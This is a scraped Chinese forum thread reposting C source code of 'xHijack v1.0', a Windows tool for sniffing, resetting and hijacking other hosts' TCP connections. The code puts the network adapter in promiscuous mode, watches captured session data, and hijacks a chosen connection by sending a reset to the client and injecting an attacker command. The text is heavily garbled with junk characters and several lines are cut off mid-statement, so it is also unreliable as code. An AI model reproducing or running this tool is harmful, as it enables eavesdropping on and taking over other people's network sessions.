0 q! v9 S- R9 a" M- j' A; k  g_dwAction = ACTION_NONE;
5 @9 S1 d" Z, l7 W} $ L; O' V& b0 L" k1 p. P) d# l

5 d2 y, B" E: I- F5 S4 _6 h; a0 y// ! K0 e3 B/ D2 }
//功能:处理Ctrl+C和Ctrl+Break事件
& b3 m% X) C8 [& D" t4 U, I//
$ u$ b- l1 e, l; m% B% t2 D. r' TBOOL WINAPI CtrlEvent(DWORD dwCtrlType)
( |; T  \  L4 L1 ^+ V{ / ?5 Y% ]/ L8 ?& s
  switch(dwCtrlType)
) c9 K# ~8 h" Y, O8 W, R  {
; p& S: T$ g  v8 V; f    case CTRL_BREAK_EVENT: + F2 D. Y; ~4 g5 J% }$ ?
      //reset action all flag - n* ]4 F1 V, j# y
      ResetActionAllFlag(); # b; v7 m8 a2 e
      break;
# c' d8 H% K, S5 D    case CTRL_C_EVENT: : w3 B6 t0 H% e2 {
      //terminate all thread 1 Q: l# Q: e9 r: \0 \2 W% j5 U5 w
      TerminateThread(g_hThread[0], 0); , e# V8 {' R8 d! m8 A; z! F: q5 o
      TerminateThread(g_hThread[1], 0);
" e4 C" S# ^4 a8 d8 b+ ^6 Q      TerminateThread(g_hThread[2], 0); ; N5 k, b  U+ s2 Y* F3 M! p% {
      TerminateThread(g_hThread[3], 0); 2 Q/ B& o' _5 ^) l$ I
      break;
$ t6 q( X4 I7 r# W" T: d" Q    default:
' `8 ?  ~, N, c: Y      break; 2 P, U" {; o6 V2 i! X& I
  }
0 p& g; `: O+ O1 B, N; [) U6 i8 V  return TRUE;
' @" _% @! z5 }6 a7 z3 X7 W" T1 u" x}
: `" a, P( e5 s" M2 [1 u
# E" p; a) N- }6 F// & B. [" y% W  t  j" N
//功能:处理用户输入
" m; d8 W! K7 V8 q// * K" x  e: ?+ D# ~7 n
DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
4 s4 U  v4 ?6 R, Z8 {8 M% c3 S7 P{
! b( U8 X1 [3 B, m$ I( _  DWORD  i;
1 C% N- Y- }$ z, l! j7 K  char  szBuff[16]; + i. @6 {9 m9 Y% [- j

( }6 H! K% O- u0 A  *lpCommandPos = 0; ' T. `8 |0 p% X) C1 Y
  for(i=0; i<15, i代码比较乱
9 G" K, T) u  ]7 R//
, P3 x9 h( A+ N* j4 MDWORD WINAPI InterfaceThread(LPVOID lp) ) ]7 L4 p& M2 n' a$ B
{
$ U) x/ c) g0 z! x$ Y  char  szHelp[] =  "l\t\t<-- List all connections\n" : f' [) ~3 \  f5 e* a
            "r x\t\t<-- Reset the number x connection\n"
0 J5 B) j/ Z+ }0 m1 N: S/ x            "w x\t\t<-- Watch the number x connection\n"
" E* M/ j3 u4 P/ B  |            "h x command\t<-- Hijack the number x connection to execute command\n"
) a- T1 O# G2 _/ f. W3 ~7 B            "[Note]\n"
1 B- i9 ~. E) k$ j5 l! F7 K            "Ctrl+Break to clear all action\n" . }' Y; A& G9 `; A) Z4 u  v
            "Ctrl+C to exit\n";
" U) z  v3 P' A2 L. p  o! ]5 Y  char  szPrompt[] = "\nxHijack>"; & t: ]9 c/ ]0 ^- t# @0 i
  char  szBuffer[128]; & q* H8 ]# u/ t+ E  w3 A7 _- a
  DWORD  dwPos; & F; |; t' K" q* Y% U
  PCONNINFO  pTmp; - f8 J3 P$ h) T$ L+ x: B5 i
. D8 z! z6 m, C! l' i; u  _! q
  while(1) 9 `* ?4 W6 q) n7 t
  {
. G5 }; n* R3 `. |6 o    gets(szBuffer);//不考虑buffer overflow
( O' d8 F: H4 ~; ?% U6 d$ N/ O. b    switch(szBuffer[0]) 8 w- U0 J: c& F& D% W
    {
( y5 r* Z$ R) M- f- x7 x  z      case 'l': ' N2 t% t4 Y$ L. ^. L) o% P6 B  m
      case 'L':   L; [! R/ `* n
        ListAllConnection();
; V* J$ U, J& m2 [% Q4 l" x        break;
* B* Z. G( Y& K: z      case 'r':
8 L5 x  L0 m# u/ ]5 \, q" i      case 'R':
/ [' G9 [: @/ {" Y# n9 v5 ]        if(strlen(szBuffer) >2) 5 @. }  G% x0 ]5 ]; y; q
        { * U" ]; m: Y9 _' d  b* p
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); $ D4 f" V' j- [& {. F( l7 M% }
          g_dwAction = ACTION_RESET;
/ U, v0 N. m7 _8 v        }
4 ]+ P8 ]/ m* l5 a5 d5 j6 v        else printf("%s", szHelp);
, E, o4 ^2 Y2 K1 c- A; d# A        break;
( B  l0 ?8 i  N      case 'w': 4 y3 k- b( V1 i2 v$ R7 w
      case 'W':
) C. d! Z: l0 |        if(strlen(szBuffer) > 2)
( g2 G& A! U9 S& n! K) O9 x* W        {
6 h+ W: R4 E: q9 {9 H& {$ ?          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
6 v) n  Q7 c2 g5 p& S, n          g_dwAction = ACTION_WATCH;   w5 i" b) e% ?. i% S- G
        }
3 n8 f- u/ k# q1 K6 ?' K4 s! b7 g        else printf("%s", szHelp); ! x. O4 c6 F& z$ j" x( ]
        break; 3 j( s) ]* J4 @  d
      case 'h': 3 D! z6 y, G/ {* q
      case 'H'://h 1 xxx
+ E9 f4 N2 t# y0 i        if(strlen(szBuffer) > 5)
( E: w3 u+ U) J6 T6 W4 \) Q, R        { 5 q2 V' \$ R* }+ Y2 Y, b7 t
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); ( q" k5 b4 `. u  P
          //如果command第一个字符是'或"
. j+ V! @) H  L4 t/ J5 K          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
- ^1 I: J8 m$ Z3 I* _3 ~0 x          { ( H& r& C, L# W0 O
            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3); 4 \( r9 H1 p  S1 o: R
            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或" 4 u0 m% M6 }' [$ O% a- Q
          }
+ _; J6 b1 k% i4 N5 L          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3); 4 D0 c5 [" p# T8 ~% }  y: J/ {
          strcat(g_szCommand, "\x0D\x0A"); " m, k- [( w% b& H
          g_dwAction = ACTION_HIJACK;
2 G4 t" ~, L/ w" |5 c2 R8 L        }
3 S0 e3 Q7 E/ |  j* c) ]        else printf("%s", szHelp);
8 k& \7 h7 U+ W- d$ F8 H6 y  G2 j        break;
7 `* v. ?/ L! l7 l      default:
! L( {9 J  c3 z1 m% o  c        printf("%s", szHelp); ! A5 `; w9 R8 g; U! F
        break;
, X9 e9 i  b/ J5 Z" e( u    }//end of switch . A( _! u3 j- ?: ~/ m
    //find the specify ident's struct point " E! @; D" O+ y5 ~! x1 Z$ z8 W5 h
    if( (g_dwCtrlConn) && (g_dwAction) ) / \- l4 c: _3 D
    { & U8 D9 ^( n* A& z; c, p
      g_pCurrCtrlConn = NULL; 6 u& t( V; e9 v; H! B4 Y6 ~
      pTmp = g_pConnHead; # N! l% x; \: H% m/ L' K
      while(pTmp)
  Y& X( M( ?* e0 Z, S      {
  X# e' w7 `* Q8 ?        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
/ g* I- w2 m) _        { " X( `/ o# l* `& ]* n/ g1 D' ?
          g_pCurrCtrlConn = pTmp;
! Z+ B1 x2 h' W+ P7 b) U& w          break;
6 h& C4 P/ d. }        }
! P8 G/ P2 T7 n        pTmp = pTmp->Next;
% d# x0 f/ _$ n      } , V5 N: C4 |9 s0 ?
      if(!g_pCurrCtrlConn) 2 E/ i% b( y- V" N' C& Q" a
      {
( V  T2 l# F* U- ]9 T        printf("Can't find the number %d connection.\n", g_dwCtrlConn); # [$ p# Z7 U) z* `
        //reset action all flag - T, N. |1 X& `( C* d. a% e" g1 w
        ResetActionAllFlag();      
& B4 G4 q: K+ ^2 k9 ?      }
3 k0 @  q% K* s* E    } - p" Z5 b3 ]# t" ?, k1 x5 |
    if(!g_dwCtrlConn) ResetActionAllFlag(); / G& J- W- h) U' t- L
    //显示当前用户所期望的动作 5 X0 k/ ~' c0 J
    printf("\nCurrentAction:");
! B- Z: @8 P9 l  K3 L1 J1 s  j8 R    switch(g_dwAction)
3 R  ~" F/ w, I4 N' W: B    { ! U5 a6 s! z: E7 g
      case ACTION_WATCH:
6 Z; k: h% j  I9 x* J" t6 V        printf("ACTION_WATCH"); 0 y, D9 `; j9 i; l( K
        break; 2 ]) _! I/ r$ `2 _3 y
      case ACTION_RESET: * @: H, N) |$ i, h' j
        printf("ACTION_RESET");
& Z# Q/ x% m4 d& N- m. ^+ X3 b- i        break; # ?0 Z" f! B, Z4 H. w
      case ACTION_HIJACK: 2 D. i% r/ {0 ]9 L3 F5 D8 b6 z$ w& a7 B
        printf("ACTION_HIJACK"); ) F$ Y# W5 W  v1 ?* ^: L6 K$ N
        break;
6 g* R) r- A0 j  W" R/ Z* l      default: / U7 l& O& D* m
        printf("ACTION_NONE");
% D) H; l; V8 o$ F" U        break; , \. k1 ^/ v" G7 l4 T
    }   q# ~: \( |& v$ H4 |: L  e- ~+ q
    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
) O" _: q) t% b- E; u' Z+ V  }//enf of while
1 ?8 c8 G* D) M( ?! ~  return 0;
" Q9 ~" T- ~( H}
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

// ; T4 H" Q- P% }) j7 R5 k L& g //功能:列出当前所有连接 ( G8 s- M- G7 y// 9 h) {+ ^/ c# F* _. _( z6 Uvoid ListAllConnection() . W ]6 G- o- f/ p* r$ i8 _) v: S { 1 C; e. [$ S8 I0 x4 f9 A6 \, w( | PCONNINFO pTmp; ! P" o: V) m7 C1 }8 L/ h SOCKADDR_IN saDest, saSource; 8 \, ~' g4 o6 p. X5 g6 b0 [' G' X pTmp = g_pConnHead; E; B" f% ^' X+ e i while(pTmp) 1 l. K% U9 f9 a4 T3 g% u1 X { . ~( t) A' V; H% L: M- s' l8 X if(pTmp->bActive) # [, ~; I Y! y! @2 ^, q; e { * @! G$ ?; n( ?% Y9 u saSource.sin_addr.s_addr = pTmp->dwServerIP; . J4 k G' V T* I$ a, C) o saDest.sin_addr.s_addr = pTmp->dwClientIP; 8 T$ T5 h# y; V# C3 c$ G printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), 1 R- L& G. x0 o3 ^( w ntohs(pTmp->uServerPort)); ' N' u2 g, E% Q/ E printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); ; a+ q& E! O O } 7 A3 `: v5 N* y9 b- y) n pTmp = pTmp->Next; C8 C; ?0 p7 q" J9 [ } 3 c* Z6 q5 ?& O/ W: E4 j} ; V& ]7 W0 ^1 K( p2 g. p, l$ q5 n6 w7 o& K7 D // 2 D( e I, l9 F/ X//功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 * c: |" P! g' U; ?# u/ u4 |// 4 L: Q$ A* z# m$ z" ALPADAPTER InitAdapter() 4 i6 T+ j( a8 r9 b8 m# J{ m" F0 X( U, e LPADAPTER lpAdapter; * A5 k z: h7 z) r- F& @; u5 f+ ?* W static char AdapterList[Max_Num_Adapter][1024]; 3 {$ K2 N4 T4 b6 T1 G char szSelectAdapterName[512]; " z9 C) G# f5 j) Y: i WCHAR AdapterName[2048]; ' I. W: N8 X$ i% ~ WCHAR *temp,*temp1; 0 l% J* z7 H( `! K ULONG AdapterLength = 1024; ; K- a1 |7 t# a3 }5 p% _( F4 i5 r/ f+ Y int iAdapterNum = 0; b2 ]+ [4 c1 @2 w6 F1 @: R( c3 P int iRetCode, i; 0 |4 |2 L2 O5 t* \0 L) h; F int iAdapter = 0; 1 ^2 w- {3 [3 Z/ p/ F9 w ULONG ulLen = 0; 8 I# w0 l) i: \3 D9 F7 ~% H" L DWORD dwRet; 7 h: ^0 j- c8 ?: x% D5 p" y* `4 {; x PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; " \: B$ X: U2 c6 F8 _ PIP_ADDR_STRING pIPAddr; 6 X; t$ D7 ~0 I9 X" Q % w% C, u }4 ]+ i- d //Get The list of Adapter / C( M" H# a! z$ @ if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) & R L1 w# C w; | { 8 s/ K- I& q- s7 }- \ printf("Unable to retrieve the list of the adapters!\n"); 8 \) x- G5 V1 E; o4 p& } return 0; $ j7 o4 ?* @+ _ } 7 K$ _2 v" d& ^5 \: m7 ~ temp = temp1 = AdapterName; : m) w9 J* c* A7 E- e9 D0 ]8 e i = 0; ! f0 F7 f! n' A; h- Q1 T9 r while ((*temp != '\0')||(*(temp-1) != '\0')) : o$ b; J. a9 g2 B { 8 ]# T2 n! j K9 l8 K1 _! f+ x if (*temp == '\0') 4 P: X- j: n) j- w { $ X$ ?& u. A; i; Y, i( u4 \: A: c8 T/ @ memcpy(AdapterList,temp1,(temp-temp1)*2); 2 h- l9 b5 }* X' _ z* g+ i& P* ~ printf("%d - %S\n", i+1, AdapterList); / Z" ]# k) w% z8 E temp1=temp+1; . O7 M o# [8 u. ?: @1 }, r `, t+ N: H i++; ; X0 D2 U' _, F/ f& O } 2 N. ~, M% m0 Y2 g" B! i temp++; ( q$ S9 O6 Y9 k3 y } * A5 a/ y, ^& ] }2 A //choose adapter 7 ^- g6 S9 f( V/ P( o0 o while((iAdapter <= 0) || (iAdapter > i)) & r- V9 k K( w m6 ? { & t* m; T9 B- j! I9 X printf("\nPlease choose your Adapter:"); : N8 p1 L3 I4 ?+ K. R0 ]2 F3 b scanf("%1d", &iAdapter); 1 B: k4 O3 n% v. O# ] } , F' F0 @8 H% z( z8 D3 U printf("\n"); 5 N. E4 r7 ]% M //---------------------------------------------// 6 s6 Y, D1 ?& x% ~ //这里调用iphlpapi来取得本地ip_addr和mac_addr * v7 I0 I8 }+ U sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); {9 _( A! H' L2 b$ e dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); , `- Y+ @6 M) O: @8 F if(dwRet != ERROR_BUFFER_OVERFLOW) 4 K8 d3 x5 W$ A0 q" r { ) x0 ]/ s9 C0 v) u! H printf("GetAdapterInfo error:%d\n", GetLastError()); * c% \. c! G/ r7 ~) Z return 0; 2 ~ O) }2 k0 y } 1 P$ x% a* F. r7 i- X- z pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); 2 [, _! W# w1 j$ h3 N5 @. a# F if(!pAdapterInfo) ) r3 b' ]( Y4 u. _7 h8 M { 2 T0 l6 C+ z" y) q printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); % L: O2 T5 T, Q; x. y7 r1 } return 0; + y+ a: ~. n- b' E- F5 ^ } 2 S, ^) O" ?7 s& D dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); 7 |# Z+ k# c$ I) J0 ^ if(dwRet != ERROR_SUCCESS) 6 V5 p7 ^; C4 N7 h2 p% @ { c0 s7 t$ m3 B- W printf("GetAdapterInfo error:%d\n", GetLastError()); - ^; `9 T, h+ [& M6 c return 0; G$ p1 s" Y; ~. A& H8 B& c } 9 ~- Y: [% K% ~0 k, F6 G v! Q pTmp = pAdapterInfo; $ b3 K$ Y2 o8 {, `) n" k9 } while(pTmp) 3 z; f' s' v2 B7 {" |; i { 8 X* R1 Q& @( b; x$ Z/ q$ P //字符匹配
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

if(strstr(szSelectAdapterName, pTmp->AdapterName)) 4 k! f9 `' n, B8 i/ x) D. w { ; ?! a& }) O8 N' [ //found it,get own adapter mac address ( |6 Y3 A3 C- R4 W; e W5 W4 j memcpy(g_szOwnMAC, pTmp->Address, 6); " {7 v, g0 J' Z //get ip address & _( T0 R, e4 Q% m, x pIPAddr = &pTmp->IpAddressList; ( P/ s9 D8 L, V) |& s7 r! T7 ~ while(pIPAddr) " X! f* \- N/ ]* a { ) v2 v+ \& m/ [+ x8 W& g( B g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); 5 e w0 V% W6 ? pIPAddr = pIPAddr->Next; * Z4 |! _& `" B7 s if(g_TotalIP >= Max_Num_IPAddr) break; - y! ~: o' A+ ?4 V& g, ` } : h/ t2 ?) i. f break; 1 t. p- g! ^( z9 _+ B/ T } 4 L0 |4 m9 b) M K pTmp = pTmp->Next; ' e4 n2 A" `5 I+ |' t8 E9 F6 ^ } ! f5 b. ?( @3 |) B free(pAdapterInfo); 2 j4 V3 P" s' H, `9 G$ T //not found,return zero 8 m' e4 U& j! M if( (!pTmp) || (!g_TotalIP) ) return 0; # D( o# x- s, y4 L( x //---------------------------------------------// ) j* z/ n+ A6 k3 I9 ~* ? //open adapter ) |+ D* _+ u5 o$ v2 | lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); , y5 ~! ]: G2 S8 H if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) ' o2 q. S: T7 ?, }) y$ c { $ j9 r# H# {$ c5 R/ p( Q3 ~ iRetCode = GetLastError(); * A6 V) E- N( {/ |" i3 p# m printf("Unable to open the driver, Error Code : %lx\n", iRetCode); + j- g& b R. O1 T2 l+ [/ S! O% C return 0; + w3 u g- R' M } & p& R* `1 a3 \2 ~( z( W( f$ T- O // set the network adapter in promiscuous mod 8 ]' o, w; v3 u% g; w" h3 h9 X' w if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) . {" g9 A; }! [- G* A. v { : Y% H8 } n. P& y! _ printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); 5 W! [1 R: T5 F, _, e" g) k if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) 3 k6 {; N& T# e7 K/ J { : f) b) M& z P printf("Unable to set ALL_LOCAL mode!\n"); & @6 Y& J+ C& A# H5 h return 0; / A5 w/ B: R5 d" J( S } : \+ C5 F$ \4 S+ c, D1 _ } + J/ T1 E4 I6 l& F! w5 L // set a 512K buffer in the driver + y' N; x3 ]" N/ j1 [ if(PacketSetBuff(lpAdapter, 512000) == FALSE) * ~4 h4 l2 L5 ~6 F4 z { 3 @9 c1 A& y3 ~2 C printf("Unable to set the kernel buffer!\n"); 9 A3 C3 ^: ?: b7 j return 0; 1 {3 R; A' l( ^6 y } 4 O0 u' ^9 F- E* [0 Z- ^& T y+ k( R7 L // set a 1 second read timeout 8 p( U/ T6 l9 u1 s, w* G+ ~7 a if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) 3 A- u4 d4 p. j- h printf("Warning: unable to set the read tiemout!\n"); * I- p4 i o+ R if(PacketSetNumWrites(lpAdapter, 1) == FALSE) , S1 c& f a, f' K7 S/ b: D! `/ ? printf("warning: Unable to send more than one packet in a single write!\n"); ; E7 l$ g5 j8 w( V //设置发送的packet 1 F. H+ ?! s7 l2 a, J, }) p g_lpSendPacket = PacketAllocatePacket(); : ~8 l. s P( x1 q N if(g_lpSendPacket == NULL) 1 l$ f. O2 N+ W/ x% j$ u/ e% q { 7 Z* f$ Y* K# x9 m' t/ b printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); , ]# H: F6 ^! M& ] return 0; P( ?" e4 D. e } ! @* L5 m @* A1 K! _% f ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); 9 t+ z. Y; A; _: T9 b/ ^2 _, o! I1 P PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); - y @- [ W& E, | return lpAdapter; |3 c" z1 [9 o4 a4 p6 f } " J, E$ t: @" Z" Y 8 z. O8 e; { H //功能:帮助信息 % Y. B9 k3 F e- lvoid usage() % \. w# O" d8 ]0 ?* P8 r{ + n8 t. E0 ~ e2 G/ S5 p g7 K- T! @ printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" 9 `9 d/ k b3 I% l0 n "By eyas 2002/8/19\n" 9 A$ o4 \6 [0 q/ U "http://www.ey4s.org\n" % K, h' r! Z$ A* d- a "Thanks to Refd0m and shotgun\n\n" : P7 E2 C$ J- j! x( u, @ "Usage: xHijack ServerSide ClientSide\n\n"); + Q1 l' p5 N! g& I" e" F& m& U8 S8 \ N } ! Z9 c. q. u; m* \ * n/ M2 t; K# ]0 r4 r- V# h1 \) G0 k// ! ~% ?; S$ _* q+ H" K+ j: r3 {% w//功能:显示数据包的一些详细信息 3 S! R. o5 M" K' f- m# X// 5 Z* o$ ], i; U7 O VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) - u' }* f- |; \) F9 H7 O4 [{ 4 E) e6 u$ m9 D0 Z& ] SOCKADDR_IN saDest, saSrc; % `* V" f7 z B& Q' Q; j: ] unsigned char FlagMask; 7 H$ g/ z' T# m+ q int i; \: d, w6 l) ~8 d9 r1 U* F ) u8 O& h! G. w5 _3 z' X, w! Q saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; * o! N7 \7 I8 r4 ` saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; * \9 t6 H# F! H printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); 7 h: [: q0 R ?2 k! N* \ printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), * t/ G0 F, S* t2 Y5 X9 _ ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); 8 s4 F$ j- }; Y5 D- _" ^5 ^ //display TCP flag $ Z" g6 `5 n0 P2 E# _7 ^/ h for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) $ q2 I! a8 N6 i( Y1 v { 9 E, A& J4 @3 s) v+ J if((pTCPPacket->tcphdr.th_flag) & FlagMask) & a% p1 ?$ Z& w& l. F printf("%c", g_szTcpFlag); # d. H! s- h4 H2 k! h7 d0 M8 t/ h else printf("-"); ; [# d: y! k: K, M s$ { } ; S$ K9 _( h! \/ Y0 R( h printf("\n"); " N$ \+ `4 @" s! b, A7 [ //如有需要,可显示更多详细的信息 / J q3 b5 X) a5 d if(bDetail) : q. R0 k! p: ?3 o printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); 3 ]/ ^, ?, y* t6 I5 j# g} - V* J' g. }9 Y# J* L ' u L! V/ w# S% a6 T; Q" y// 7 _5 l ]3 Y: i0 F4 u7 G( | //功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 ! H; u( {& {) Z1 l // # E% q1 z" y% N, }; C6 G DWORD WINAPI AnalysePacketsThread(LPVOID lp) $ O' x3 n1 m: L4 i2 i; i$ _) V( P{ " m b# c+ o F5 V- H# {" E ULONG ulBytesReceived; 5 Y: y4 a' q- ?: p/ n% t USHORT usDataLen; ) _0 F0 y1 X7 B- F5 v. N, T+ H7 v$ k //USHORT usIPHeadLen, usTCPHeadLen; 7 o- f* B" ^- b, d4 N char *buf; 7 @! _8 U1 z2 K u_int off, i; - N$ S0 Q7 W; d( _, X0 L3 b$ K4 [ PTCPPACKET pTCPPacket; . N5 }% }4 W) ? struct bpf_hdr *hdr; # W* _3 A0 V" Q: u6 S; [, m LPPACKET lpRecvPacket; ! x4 m' x. W3 x3 T* `+ G char szPacketBuf[256000], *pStr; 4 Z* }0 X ~) E- M. g$ w# { F BOOL bDeleteNode, bAddNew; , x3 |8 f8 j7 l9 h DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 " E4 R9 ~! I5 L* `! S3 ~1 h8 B% y BOOL bClientToServer;//数据包是否从客户端发送到服务器端 1 M- X: `& {# X R; o6 C. G( E6 @' m. ?" C //设置接收的packet 4 C W+ }3 R1 M3 A1 d lpRecvPacket = PacketAllocatePacket(); 8 }$ u! `- E* w+ T! P- r if(lpRecvPacket == NULL) ' I7 t" W# v* z2 `) ]2 E { # {1 [7 j! n# w. i6 O7 @ printf("Error:failed to allocate the LPPACKET structure for recv.\n"); 7 I+ k% V5 m/ j& ?, w3 u, H return 0; # ^ x$ ^$ ~6 S) Q6 f) y3 I5 N } j4 \ v- d1 r$ ~9 X% l: u ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); # u c9 m$ P3 R2 Q7 N0 ] PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); - S+ x+ U# K) _& @6 [; U1 u while(1) 4 O- A' t4 z" m { 6 e* c, A: d# X, Q0 z& v; ]0 R // capture the packets ' [9 d4 v2 M" M# n3 s4 m9 s( ~ if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) # L9 i. V, d/ b+ p, j$ k- k) Z { . k' j3 ]" }% L printf("Error: PacketReceivePacket failed.\n"); 5 y2 C, C( P9 R( x" K+ w break; ( y) Q4 @( i5 N } : W& R/ m$ w0 K# }/ K" [. C ulBytesReceived = lpRecvPacket->ulBytesReceived; 2 u6 A% |" I! e2 [ buf = lpRecvPacket->Buffer; 9 u% s4 S% P! |# S! |* t$ e off = 0; 4 p- v: b$ w$ I, g& j while(off < ulBytesReceived) 2 W. E/ m4 c: E7 B& O { 7 d8 b! d0 j% V8 k2 j hdr = (struct bpf_hdr *)(buf + off); 6 @; x3 b/ ^7 L6 z) k' u, f off += hdr->bh_hdrlen; * V. w: y+ q6 d6 z" f+ [$ y2 S1 E pTCPPacket = (PTCPPACKET)(buf + off); & t; E* S8 t& T; P! C/ n off = Packet_WORDALIGN(off + hdr->bh_caplen); 9 d/ R; y: B7 ~3 S. x //不需要处理自己发出的包(转发或本机发送的) + d& {2 O' L* F! y+ ]! U if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; % E! Z" Z; ]( I) Q- E7 B. W7 O9 [ //检查是否IP包 1 Y# o* u6 _' g if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; * \: U$ j5 ]0 X0 c# b! M9 ? //检查是否TCP包 ( A- T* G) c8 m6 c if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; 3 S) Z0 T# b2 P; N //也不处理DestIP是自己的包 0 |2 i2 O1 U7 O: l7 h2 Y for(i=0; i
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE); 5 U$ `4 H* u9 O% v2 h
            //reset action flag
# S2 C/ ^- r: p! p! |            ResetActionAllFlag();
$ j7 e! s) v/ E5 X0 U          }
$ D5 T* b7 X; n* s! b8 N          //start hijack 7 U# ]( ?; u2 |2 t& o% P. R
          else if(g_dwAction == ACTION_HIJACK)
8 I) K6 f& ?" i; _          { 6 z6 O$ A8 C/ u/ d* ]
            //send rst packet to client ; k' a" n* `$ s% N7 h2 u2 w1 R
            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq);
# y' D3 V! q& g  I2 B1 W            //send hijack packet to client
  @) R) E" [/ S- U% P            SendHiJackPacket(pTCPPacket); 1 U0 K2 t8 w$ J: J/ P8 X
            //reset action flag , r  T! E% ~, N* Q
            ResetActionAllFlag();
: x% {: X2 [% {/ Q. f) D7 M6 M          }
7 h2 R2 F' q7 C' I, j/ Z3 N6 ]        } , P- }  k0 T7 W; E: k! Y
        //show the tcp data 9 O  b$ W2 S! {( A6 Z
        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) ) 3 @4 _! M, d7 t! J- N) N
        {
4 S' W( \6 ]7 P1 S1 p          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); 3 }) m  u9 n$ L; K7 c1 @6 M1 D$ D2 U
          //暂不考虑IP、TCP头不是20字节的情况 " g$ I% U2 B9 K( E+ W
          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; & ?6 h9 e, Z6 N6 T( H6 l: w' G
          pStr = (char *)pTCPPacket + 54;
- A/ E# k. s, q9 {8 w! d9 V          for(i=0; i        }
  Q9 G) ]: r, V, U; y- x      }
. v, l6 {% s3 L( U# U      //debug output 5 }) H: p6 t4 H. A+ P0 ^; i6 `/ R
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); * Z, V  _( V; T% b2 c' {( B/ k
    }//end of analyse packets while % c& n" {8 X6 D+ d5 f9 w# Z
  }//end of recv packets while ( G+ V, O4 O- v7 Q& u! |4 Z% X
  PacketFreePacket(lpRecvPacket);
$ W9 u& m3 @1 L0 A4 t$ [; P; K% R  return 0; + A5 W; Q9 n0 X4 {/ `1 T, Y! T/ O
}
3 O# S7 B2 y" I+ w3 ]7 _' q& J, X6 \  F/ c

; Q, T3 {8 y" Q8 s// ( `" k1 C1 N/ q% Q7 l! [5 k* T1 ^  Q
//功能:操作记录所有连接信息的单向链表 * _9 d2 ?* e9 {( h
//
/ n8 Y0 w1 N$ J0 a/ q4 o( F: K+ HDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
/ r9 X9 g. T5 O' H3 R# Q            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
  I5 h% {/ M3 [  @# g{ 0 z; r- H, s: n* x2 D
  PCONNINFO  pNew, pTmp;
